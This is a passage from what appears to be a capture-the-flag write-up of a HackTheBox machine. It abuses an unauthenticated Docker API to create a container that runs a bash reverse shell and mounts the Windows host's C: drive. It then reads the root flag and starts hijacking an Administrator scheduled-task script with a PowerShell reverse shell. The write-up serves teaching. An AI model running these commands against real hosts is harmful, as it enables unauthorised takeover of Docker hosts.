:\"v1.2.5-0-g59923ef\",\"org.opencontainers.runc.version\":\"1.2.5\"},\"potentiallyUnsafeConfigAnnotations\":[\"bundle\",\"org.systemd.property.\",\"org.criu.config\"]}"}},"nvidia":{"path":"nvidia-container-runtime","status":{"org.opencontainers.runtime-spec.features":"{\"ociVersionMin\":\"1.0.0\",\"ociVersionMax\":\"1.2.0\",\"hooks\":[\"prestart\",\"createRuntime\",\"createContainer\",\"startContainer\",\"poststart\",\"poststop\"],\"mountOptions\":[\"async\",\"atime\",\"bind\",\"defaults\",\"dev\",\"diratime\",\"dirsync\",\"exec\",\"iversion\",\"lazytime\",\"loud\",\"mand\",\"noatime\",\"nodev\",\"nodiratime\",\"noexec\",\"noiversion\",\"nolazytime\",\"nomand\",\"norelatime\",\"nostrictatime\",\"nosuid\",\"nosymfollow\",\"private\",\"ratime\",\"rbind\",\"rdev\",\"rdiratime\",\"relatime\",\"remount\",\"rexec\",\"rnoatime\",\"rnodev\",\"rnodiratime\",\"rnoexec\",\"rnorelatime\",\"rnostrictatime\",\"rnosuid\",\"rnosymfollow\",\"ro\",\"rprivate\",\"rrelatime\",\"rro\",\"rrw\",\"rshared\",\"rslave\",\"rstrictatime\",\"rsuid\",\"rsymfollow\",\"runbindable\",\"rw\",\"shared\",\"silent\",\"slave\",\"strictatime\",\"suid\",\"symfollow\",\"sync\",\"tmpcopyup\",\"unbindable\"],\"linux\":{\"namespaces\":[\"cgroup\",\"ipc\",\"mount\",\"network\",\"pid\",\"time\",\"user\",\"uts\"],\"capabilities\":[\"CAP_CHOWN\",\"CAP_DAC_OVERRIDE\",\"CAP_DAC_READ_SEARCH\",\"CAP_FOWNER\",\"CAP_FSETID\",\"CAP_KILL\",\"CAP_SETGID\",\"CAP_SETUID\",\"CAP_SETPCAP\",\"CAP_LINUX_IMMUTABLE\",\"CAP_NET_BIND_SERVICE\",\"CAP_NET_BROADCAST\",\"CAP_NET_ADMIN\",\"CAP_NET_RAW\",\"CAP_IPC_LOCK\",\"CAP_IPC_OWNER\",\"CAP_SYS_MODULE\",\"CAP_SYS_RAWIO\",\"CAP_SYS_CHROOT\",\"CAP_SYS_PTRACE\",\"CAP_SYS_PACCT\",\"CAP_SYS_ADMIN\",\"CAP_SYS_BOOT\",\"CAP_SYS_NICE\",\"CAP_SYS_RESOURCE\",\"CAP_SYS_TIME\",\"CAP_SYS_TTY_CONFIG\",\"CAP_MKNOD\",\"CAP_LEASE\",\"CAP_AUDIT_WRITE\",\"CAP_AUDIT_CONTROL\",\"CAP_SETFCAP\",\"CAP_MAC_OVERRIDE\",\"CAP_MAC_ADMIN\",\"CAP_SYSLOG\",\"CAP_WAKE_ALARM\",\"CAP_BLOCK_SUSPEND\",\"CAP_AUDIT_READ\",\"CAP_PERFMON\",\"CAP_BPF\",\"CAP_CHECKPOINT_RESTORE\"],\"cgroup\":{\"v1\":true,\"v2\":true,\"systemd\":true,\"systemdUser\":true,\"rdma\":true},\"seccomp\":{\"enabled\":true,\"actions\":[\"SCMP_ACT_ALLOW\",\"SCMP_ACT_ERRNO\",\"SCMP_ACT_KILL\",\"SCMP_ACT_KILL_PROCESS\",\"SCMP_ACT_KILL_THREAD\",\"SCMP_ACT_LOG\",\"SCMP_ACT_NOTIFY\",\"SCMP_ACT_TRACE\",\"SCMP_ACT_TRAP\"],\"operators\":[\"SCMP_CMP_EQ\",\"SCMP_CMP_GE\",\"SCMP_CMP_GT\",\"SCMP_CMP_LE\",\"SCMP_CMP_LT\",\"SCMP_CMP_MASKED_EQ\",\"SCMP_CMP_NE\"],\"archs\":[\"SCMP_ARCH_AARCH64\",\"SCMP_ARCH_ARM\",\"SCMP_ARCH_MIPS\",\"SCMP_ARCH_MIPS64\",\"SCMP_ARCH_MIPS64N32\",\"SCMP_ARCH_MIPSEL\",\"SCMP_ARCH_MIPSEL64\",\"SCMP_ARCH_MIPSEL64N32\",\"SCMP_ARCH_PPC\",\"SCMP_ARCH_PPC64\",\"SCMP_ARCH_PPC64LE\",\"SCMP_ARCH_RISCV64\",\"SCMP_ARCH_S390\",\"SCMP_ARCH_S390X\",\"SCMP_ARCH_X32\",\"SCMP_ARCH_X86\",\"SCMP_ARCH_X86_64\"],\"knownFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"],\"supportedFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"]},\"apparmor\":{\"enabled\":true},\"selinux\":{\"enabled\":true},\"intelRdt\":{\"enabled\":true},\"mountExtensions\":{\"idmap\":{\"enabled\":true}}},\"annotations\":{\"io.github.seccomp.libseccomp.version\":\"2.5.4\",\"org.opencontainers.runc.checkpoint.enabled\":\"true\",\"org.opencontainers.runc.commit\":\"v1.2.5-0-g59923ef\",\"org.opencontainers.runc.version\":\"1.2.5\"},\"potentiallyUnsafeConfigAnnotations\":[\"bundle\",\"org.systemd.property.\",\"org.criu.config\"]}"}},"runc":{"path":"runc","status":{"org.opencontainers.runtime-spec.features":"{\"ociVersionMin\":\"1.0.0\",\"ociVersionMax\":\"1.2.0\",\"hooks\":[\"prestart\",\"createRuntime\",\"createContainer\",\"startContainer\",\"poststart\",\"poststop\"],\"mountOptions\":[\"async\",\"atime\",\"bind\",\"defaults\",\"dev\",\"diratime\",\"dirsync\",\"exec\",\"iversion\",\"lazytime\",\"loud\",\"mand\",\"noatime\",\"nodev\",\"nodiratime\",\"noexec\",\"noiversion\",\"nolazytime\",\"nomand\",\"norelatime\",\"nostrictatime\",\"nosuid\",\"nosymfollow\",\"private\",\"ratime\",\"rbind\",\"rdev\",\"rdiratime\",\"relatime\",\"remount\",\"rexec\",\"rnoatime\",\"rnodev\",\"rnodiratime\",\"rnoexec\",\"rnorelatime\",\"rnostrictatime\",\"rnosuid\",\"rnosymfollow\",\"ro\",\"rprivate\",\"rrelatime\",\"rro\",\"rrw\",\"rshared\",\"rslave\",\"rstrictatime\",\"rsuid\",\"rsymfollow\",\"runbindable\",\"rw\",\"shared\",\"silent\",\"slave\",\"strictatime\",\"suid\",\"symfollow\",\"sync\",\"tmpcopyup\",\"unbindable\"],\"linux\":{\"namespaces\":[\"cgroup\",\"ipc\",\"mount\",\"network\",\"pid\",\"time\",\"user\",\"uts\"],\"capabilities\":[\"CAP_CHOWN\",\"CAP_DAC_OVERRIDE\",\"CAP_DAC_READ_SEARCH\",\"CAP_FOWNER\",\"CAP_FSETID\",\"CAP_KILL\",\"CAP_SETGID\",\"CAP_SETUID\",\"CAP_SETPCAP\",\"CAP_LINUX_IMMUTABLE\",\"CAP_NET_BIND_SERVICE\",\"CAP_NET_BROADCAST\",\"CAP_NET_ADMIN\",\"CAP_NET_RAW\",\"CAP_IPC_LOCK\",\"CAP_IPC_OWNER\",\"CAP_SYS_MODULE\",\"CAP_SYS_RAWIO\",\"CAP_SYS_CHROOT\",\"CAP_SYS_PTRACE\",\"CAP_SYS_PACCT\",\"CAP_SYS_ADMIN\",\"CAP_SYS_BOOT\",\"CAP_SYS_NICE\",\"CAP_SYS_RESOURCE\",\"CAP_SYS_TIME\",\"CAP_SYS_TTY_CONFIG\",\"CAP_MKNOD\",\"CAP_LEASE\",\"CAP_AUDIT_WRITE\",\"CAP_AUDIT_CONTROL\",\"CAP_SETFCAP\",\"CAP_MAC_OVERRIDE\",\"CAP_MAC_ADMIN\",\"CAP_SYSLOG\",\"CAP_WAKE_ALARM\",\"CAP_BLOCK_SUSPEND\",\"CAP_AUDIT_READ\",\"CAP_PERFMON\",\"CAP_BPF\",\"CAP_CHECKPOINT_RESTORE\"],\"cgroup\":{\"v1\":true,\"v2\":true,\"systemd\":true,\"systemdUser\":true,\"rdma\":true},\"seccomp\":{\"enabled\":true,\"actions\":[\"SCMP_ACT_ALLOW\",\"SCMP_ACT_ERRNO\",\"SCMP_ACT_KILL\",\"SCMP_ACT_KILL_PROCESS\",\"SCMP_ACT_KILL_THREAD\",\"SCMP_ACT_LOG\",\"SCMP_ACT_NOTIFY\",\"SCMP_ACT_TRACE\",\"SCMP_ACT_TRAP\"],\"operators\":[\"SCMP_CMP_EQ\",\"SCMP_CMP_GE\",\"SCMP_CMP_GT\",\"SCMP_CMP_LE\",\"SCMP_CMP_LT\",\"SCMP_CMP_MASKED_EQ\",\"SCMP_CMP_NE\"],\"archs\":[\"SCMP_ARCH_AARCH64\",\"SCMP_ARCH_ARM\",\"SCMP_ARCH_MIPS\",\"SCMP_ARCH_MIPS64\",\"SCMP_ARCH_MIPS64N32\",\"SCMP_ARCH_MIPSEL\",\"SCMP_ARCH_MIPSEL64\",\"SCMP_ARCH_MIPSEL64N32\",\"SCMP_ARCH_PPC\",\"SCMP_ARCH_PPC64\",\"SCMP_ARCH_PPC64LE\",\"SCMP_ARCH_RISCV64\",\"SCMP_ARCH_S390\",\"SCMP_ARCH_S390X\",\"SCMP_ARCH_X32\",\"SCMP_ARCH_X86\",\"SCMP_ARCH_X86_64\"],\"knownFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"],\"supportedFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"]},\"apparmor\":{\"enabled\":true},\"selinux\":{\"enabled\":true},\"intelRdt\":{\"enabled\":true},\"mountExtensions\":{\"idmap\":{\"enabled\":true}}},\"annotations\":{\"io.github.seccomp.libseccomp.version\":\"2.5.4\",\"org.opencontainers.runc.checkpoint.enabled\":\"true\",\"org.opencontainers.runc.commit\":\"v1.2.5-0-g59923ef\",\"org.opencontainers.runc.version\":\"1.2.5\"},\"potentiallyUnsafeConfigAnnotations\":[\"bundle\",\"org.systemd.property.\",\"org.criu.config\"]}"}}},"DefaultRuntime":"runc","Swarm":{"NodeID":"","NodeAddr":"","LocalNodeState":"inactive","ControlAvailable":false,"Error":"","RemoteManagers":null},"LiveRestoreEnabled":false,"Isolation":"","InitBinary":"docker-init","ContainerdCommit":{"ID":"05044ec0a9a75232cad458027ca83437aae3f4da"},"RuncCommit":{"ID":"v1.2.5-0-g59923ef"},"InitCommit":{"ID":"de40ad0"},"SecurityOptions":["name=seccomp,profile=builtin","name=cgroupns"],"FirewallBackend":{"Driver":"iptables"},"CDISpecDirs":["/etc/cdi","/var/run/cdi"],"DiscoveredDevices":[{"Source":"cdi","ID":"docker.com/gpu=webgpu"}],"Containerd":{"Address":"/run/containerd/containerd.sock","Namespaces":{"Containers":"moby","Plugins":"plugins.moby"}},"Warnings":["WARNING: DOCKER_INSECURE_NO_IPTABLES_RAW is set"]}
</span></code></pre></div></div>

<p>This output shows a few interesting details:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">"KernelVersion": "6.6.87.2-microsoft-standard-WSL2"</code> - the daemon is running on a Microsoft WSL2 kernel, confirming the Docker Desktop / WSL2 backend hypothesis from <code class="language-plaintext highlighter-rouge">/etc/resolv.conf</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">"OperatingSystem": "Docker Desktop"</code> and <code class="language-plaintext highlighter-rouge">"Name": "docker-desktop"</code> - corroborates that this is Docker Desktop, and the daemon’s node name is the hidden <code class="language-plaintext highlighter-rouge">docker-desktop</code> WSL2 utility VM (not an interactive WSL distro).</li>
  <li><code class="language-plaintext highlighter-rouge">"ServerVersion": "28.3.2"</code> - Docker Engine 28.3.2, which ships with Docker Desktop ~4.44.x, matching the string from the admin-panel changelog earlier.</li>
  <li><code class="language-plaintext highlighter-rouge">"Containers": 2, "ContainersRunning": 2</code> and <code class="language-plaintext highlighter-rouge">"Images": 3</code> - only the Cacti and MariaDB containers are running. There is a third image available.</li>
  <li><code class="language-plaintext highlighter-rouge">"HttpProxy": "http.docker.internal:3128"</code>  - explains the 3128/tcp port from the <code class="language-plaintext highlighter-rouge">nmap</code> scan (Docker Desktop’s internal HTTP proxy).</li>
  <li><code class="language-plaintext highlighter-rouge">hubproxy.docker.internal:5555</code> - explains the 5555/tcp port from <code class="language-plaintext highlighter-rouge">nmap</code> as Docker Hub registry mirror.</li>
</ul>

<p>I’ll list the images:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/$</span><span class="w"> </span>curl 192.168.65.7:2375/images/json        
<span class="go">[{"Containers":1,"Created":1762794130,"Id":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"nginx-php","com.docker.compose.version":"2.39.1"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","size":856},"RepoDigests":["docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666"],"RepoTags":["docker_setup-nginx-php:latest"],"SharedSize":-1,"Size":1277167255},{"Containers":1,"Created":1762791053,"Id":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"mariadb","com.docker.compose.version":"2.39.1","org.opencontainers.image.authors":"MariaDB Community","org.opencontainers.image.base.name":"docker.io/library/ubuntu:noble","org.opencontainers.image.description":"MariaDB Database for relational SQL","org.opencontainers.image.documentation":"https://hub.docker.com/_/mariadb/","org.opencontainers.image.licenses":"GPL-2.0","org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.source":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.title":"MariaDB Database","org.opencontainers.image.url":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.vendor":"MariaDB Community","org.opencontainers.image.version":"11.4.8"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","size":856},"RepoDigests":["docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40"],"RepoTags":["docker_setup-mariadb:latest"],"SharedSize":-1,"Size":454269972},{"Containers":0,"Created":1759921496,"Id":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","Labels":null,"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","size":9218},"RepoDigests":["alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412"],"RepoTags":["alpine:latest"],"SharedSize":-1,"Size":12794775}]
</span></code></pre></div></div>

<p>The three image tags are:</p>

<ul>
  <li>docker_setup-nginx-php:latest</li>
  <li>docker_setup-mariadb:latest</li>
  <li>alpine:latest</li>
</ul>

<h3 id="exploit">Exploit</h3>

<p>I’ll follow the same steps, just with a reverse shell rather than writing a file.</p>

<h4 id="create-container">Create Container</h4>

<p><code class="language-plaintext highlighter-rouge">wget</code> isn’t installed on this container, but <code class="language-plaintext highlighter-rouge">curl</code> is. I’ll use the following options:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-H 'Content-Type: application/json'</code> - Required to have the API understand the body.</li>
  <li><code class="language-plaintext highlighter-rouge">-d '{"Image": "docker_setup-nginx-php:latest", "Cmd":["/bin/bash","-c","bash -i &gt;&amp; /dev/tcp/10.10.14.61/443 0&gt;&amp;1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}'</code> - A <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a> as the command. I’m using the PHP container as I know it has Bash (whereas Alpine almost certainly doesn’t). The <code class="language-plaintext highlighter-rouge">HostConfig</code> section maps the root filesystem into the container.</li>
  <li><code class="language-plaintext highlighter-rouge">-o 0xdf_container.json</code> - The output filename, which can be whatever I want.</li>
</ul>

<p>It works:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/tmp$</span><span class="w"> </span>curl <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">-d</span> <span class="s1">'{"Image": "docker_setup-nginx-php:latest", "Cmd":["/bin/bash","-c","bash -i &gt;&amp; /dev/tcp/10.10.14.61/443 0&gt;&amp;1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}'</span> <span class="nt">-o</span> 0xdf_container.json http://192.168.65.7:2375/containers/create
<span class="go">  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   249    0    88  100   161    404    739 --:--:-- --:--:-- --:--:--  1147
</span><span class="gp">www-data@821fbd6a43fa:/tmp$</span><span class="w"> </span><span class="nb">cat </span>0xdf_container.json 
<span class="go">{"Id":"900987cc8b2650e3f657efb34117607bbc249622c013fec27edbe72fbb210169","Warnings":[]}
</span></code></pre></div></div>

<h4 id="start-container">Start Container</h4>

<p>I’ll start the container using another <code class="language-plaintext highlighter-rouge">curl</code> and the ID from the JSON file:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@821fbd6a43fa:/tmp$</span><span class="w"> </span>curl <span class="nt">-d</span> <span class="s1">''</span> http://192.168.65.7:2375/containers/900987cc8b2650e3f657efb34117607bbc249622c013fec27edbe72fbb210169/start
</code></pre></div></div>

<p>It returns empty, but at my listening <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.67.15 49176
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">root@900987cc8b26:/var/www/html#</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll upgrade my shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@900987cc8b26:/var/www/html#</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash
Script started, output log file is '/dev/null'.
</span><span class="gp">root@900987cc8b26:/var/www/html#</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">reset: unknown terminal type unknown
Terminal type? screen
</span><span class="gp">root@900987cc8b26:/var/www/html#</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/host_root</code> has the host’s <code class="language-plaintext highlighter-rouge">C:</code> drive:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@900987cc8b26:/host_root#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">'$RECYCLE.BIN'            'Program Files'               Users
'$WinREAgent'             'Program Files (x86)'         Windows
'Documents and Settings'   ProgramData                  Windows.old
 DumpStack.log.tmp         Recovery                     inetpub
 PerfLogs                 'System Volume Information'   pagefile.sys
</span></code></pre></div></div>

<p>And I can grab the root flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@900987cc8b26:/host_root/Users/Administrator/Desktop#</span><span class="w"> </span><span class="nb">cat </span>root.txt
<span class="go">eda0f688************************
</span></code></pre></div></div>

<h2 id="beyond-root">Beyond Root</h2>

<h3 id="windows-shell">Windows Shell</h3>

<h4 id="enumerate-tasks">Enumerate Tasks</h4>

<p>Having a shell in the Docker VM isn’t as satisfying as having a shell on the Windows box. With full filesystem access, I should be able to get one. I’ll start by enumerating scheduled tasks:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@0c46ffb5e29e:/host_root/Windows/System32/Tasks#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">Clean_Containers  Copy_User_File_To_Container  StartDockerDesktopCLIOnly
Clean_DB          Microsoft
</span></code></pre></div></div>

<p>Each of these are XML files laying out a scheduled task. For example, <code class="language-plaintext highlighter-rouge">Clean_Containers</code>:</p>

<div class="language-xml code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-16"?&gt;</span>
<span class="nt">&lt;Task</span> <span class="na">version=</span><span class="s">"1.3"</span> <span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/windows/2004/02/mit/task"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;RegistrationInfo&gt;</span>
    <span class="nt">&lt;URI&gt;</span>\Clean_Containers<span class="nt">&lt;/URI&gt;</span>
  <span class="nt">&lt;/RegistrationInfo&gt;</span>
  <span class="nt">&lt;Triggers&gt;</span>
    <span class="nt">&lt;TimeTrigger&gt;</span>
      <span class="nt">&lt;Repetition&gt;</span>
        <span class="nt">&lt;Interval&gt;</span>PT3M<span class="nt">&lt;/Interval&gt;</span>
        <span class="nt">&lt;Duration&gt;</span>P365D<span class="nt">&lt;/Duration&gt;</span>
        <span class="nt">&lt;StopAtDurationEnd&gt;</span>true<span class="nt">&lt;/StopAtDurationEnd&gt;</span>
      <span class="nt">&lt;/Repetition&gt;</span>
      <span class="nt">&lt;StartBoundary&gt;</span>2025-11-10T17:54:13Z<span class="nt">&lt;/StartBoundary&gt;</span>
      <span class="nt">&lt;Enabled&gt;</span>true<span class="nt">&lt;/Enabled&gt;</span>
    <span class="nt">&lt;/TimeTrigger&gt;</span>
  <span class="nt">&lt;/Triggers&gt;</span>
  <span class="nt">&lt;Principals&gt;</span>
    <span class="nt">&lt;Principal</span> <span class="na">id=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;RunLevel&gt;</span>LeastPrivilege<span class="nt">&lt;/RunLevel&gt;</span>
      <span class="nt">&lt;UserId&gt;</span>Administrator<span class="nt">&lt;/UserId&gt;</span>
      <span class="nt">&lt;LogonType&gt;</span>Password<span class="nt">&lt;/LogonType&gt;</span>
    <span class="nt">&lt;/Principal&gt;</span>
  <span class="nt">&lt;/Principals&gt;</span>
  <span class="nt">&lt;Settings&gt;</span>
    <span class="nt">&lt;MultipleInstancesPolicy&gt;</span>IgnoreNew<span class="nt">&lt;/MultipleInstancesPolicy&gt;</span>
    <span class="nt">&lt;DisallowStartIfOnBatteries&gt;</span>false<span class="nt">&lt;/DisallowStartIfOnBatteries&gt;</span>
    <span class="nt">&lt;StopIfGoingOnBatteries&gt;</span>false<span class="nt">&lt;/StopIfGoingOnBatteries&gt;</span>
    <span class="nt">&lt;AllowHardTerminate&gt;</span>true<span class="nt">&lt;/AllowHardTerminate&gt;</span>
    <span class="nt">&lt;StartWhenAvailable&gt;</span>true<span class="nt">&lt;/StartWhenAvailable&gt;</span>
    <span class="nt">&lt;RunOnlyIfNetworkAvailable&gt;</span>false<span class="nt">&lt;/RunOnlyIfNetworkAvailable&gt;</span>
    <span class="nt">&lt;IdleSettings&gt;</span>
      <span class="nt">&lt;Duration&gt;</span>PT10M<span class="nt">&lt;/Duration&gt;</span>
      <span class="nt">&lt;WaitTimeout&gt;</span>PT1H<span class="nt">&lt;/WaitTimeout&gt;</span>
      <span class="nt">&lt;StopOnIdleEnd&gt;</span>true<span class="nt">&lt;/StopOnIdleEnd&gt;</span>
      <span class="nt">&lt;RestartOnIdle&gt;</span>false<span class="nt">&lt;/RestartOnIdle&gt;</span>
    <span class="nt">&lt;/IdleSettings&gt;</span>
    <span class="nt">&lt;AllowStartOnDemand&gt;</span>true<span class="nt">&lt;/AllowStartOnDemand&gt;</span>
    <span class="nt">&lt;Enabled&gt;</span>true<span class="nt">&lt;/Enabled&gt;</span>
    <span class="nt">&lt;Hidden&gt;</span>false<span class="nt">&lt;/Hidden&gt;</span>
    <span class="nt">&lt;RunOnlyIfIdle&gt;</span>false<span class="nt">&lt;/RunOnlyIfIdle&gt;</span>
    <span class="nt">&lt;DisallowStartOnRemoteAppSession&gt;</span>false<span class="nt">&lt;/DisallowStartOnRemoteAppSession&gt;</span>
    <span class="nt">&lt;UseUnifiedSchedulingEngine&gt;</span>true<span class="nt">&lt;/UseUnifiedSchedulingEngine&gt;</span>
    <span class="nt">&lt;WakeToRun&gt;</span>false<span class="nt">&lt;/WakeToRun&gt;</span>
    <span class="nt">&lt;ExecutionTimeLimit&gt;</span>PT72H<span class="nt">&lt;/ExecutionTimeLimit&gt;</span>
    <span class="nt">&lt;Priority&gt;</span>7<span class="nt">&lt;/Priority&gt;</span>
  <span class="nt">&lt;/Settings&gt;</span>
  <span class="nt">&lt;Actions</span> <span class="na">Context=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Exec&gt;</span>
      <span class="nt">&lt;Command&gt;</span>PowerShell.exe<span class="nt">&lt;/Command&gt;</span>
      <span class="nt">&lt;Arguments&gt;</span>-ExecutionPolicy Bypass -File C:\Users\Administrator\Documents\container_cleanup.ps1<span class="nt">&lt;/Arguments&gt;</span>
    <span class="nt">&lt;/Exec&gt;</span>
  <span class="nt">&lt;/Actions&gt;</span>
<span class="nt">&lt;/Task&gt;</span>
</code></pre></div></div>

<p>It runs every 3 minutes (<code class="language-plaintext highlighter-rouge">&lt;Interval&gt;PT3M&lt;/Interval&gt;</code>). It is enabled. It runs a script, <code class="language-plaintext highlighter-rouge">container_cleanup.ps1</code>, as Administrator.</p>

<p>The jobs are:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Clean_DB</code> - runs <code class="language-plaintext highlighter-rouge">C:\Users\Administrator\Documents\db_cleanup.ps1</code> every 15 minutes as Administrator.</li>
  <li><code class="language-plaintext highlighter-rouge">Clean_Containers</code> - runs <code class="language-plaintext highlighter-rouge">C:\Users\Administrator\Documents\container_cleanup.ps1</code> every 3 minutes as Administrator.</li>
  <li><code class="language-plaintext highlighter-rouge">Copy_User_File_To_Container</code> - runs <code class="language-plaintext highlighter-rouge">C:\Users\Administrator\Documents\copy.ps1</code> at boot only (<code class="language-plaintext highlighter-rouge">BootTrigger</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">StartDockerDesktopCLIOnly</code> - runs <code class="language-plaintext highlighter-rouge">cmd.exe /c docker desktop start</code> on a <code class="language-plaintext highlighter-rouge">LogonTrigger</code> (Administrator, <code class="language-plaintext highlighter-rouge">HighestAvailable</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">Microsoft\</code> - the standard Microsoft system-tasks tree (Defender, telemetry, etc).</li>
</ul>

<h4 id="cleanup-scripts">Cleanup Scripts</h4>

<p>This was one of the last boxes to release before HTB started only offering dedicated instances to each player, so there are a few cleanup scripts in the Administrator’s <code class="language-plaintext highlighter-rouge">Documents</code> folder:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@0c46ffb5e29e:/host_root/Users/Administrator/Documents#</span><span class="w"> </span><span class="nb">ls</span>           
<span class="go">'My Music'     'My Videos'              container_cleanup.ps1.bk   db_cleanup.ps1      desktop.ini    shell.ps1
'My Pictures'   container_cleanup.ps1   copy.ps1                   db_cleanup.ps1.bk   docker_setup
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">container_cleanup.ps1</code> is the one that runs every 3 minutes. I’ll make a backup:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@116cff79f4e7:/host_root/Users/Administrator/Documents#</span><span class="w"> </span><span class="nb">cp </span>container_cleanup.ps1 container_cleanup.ps1.bk 
</code></pre></div></div>

<p>I’ll get a PowerShell reverse shell (#5 with stderr support, base64) and write it to disk:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@116cff79f4e7:/host_root/Users/Administrator/Documents#</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'powershell -e 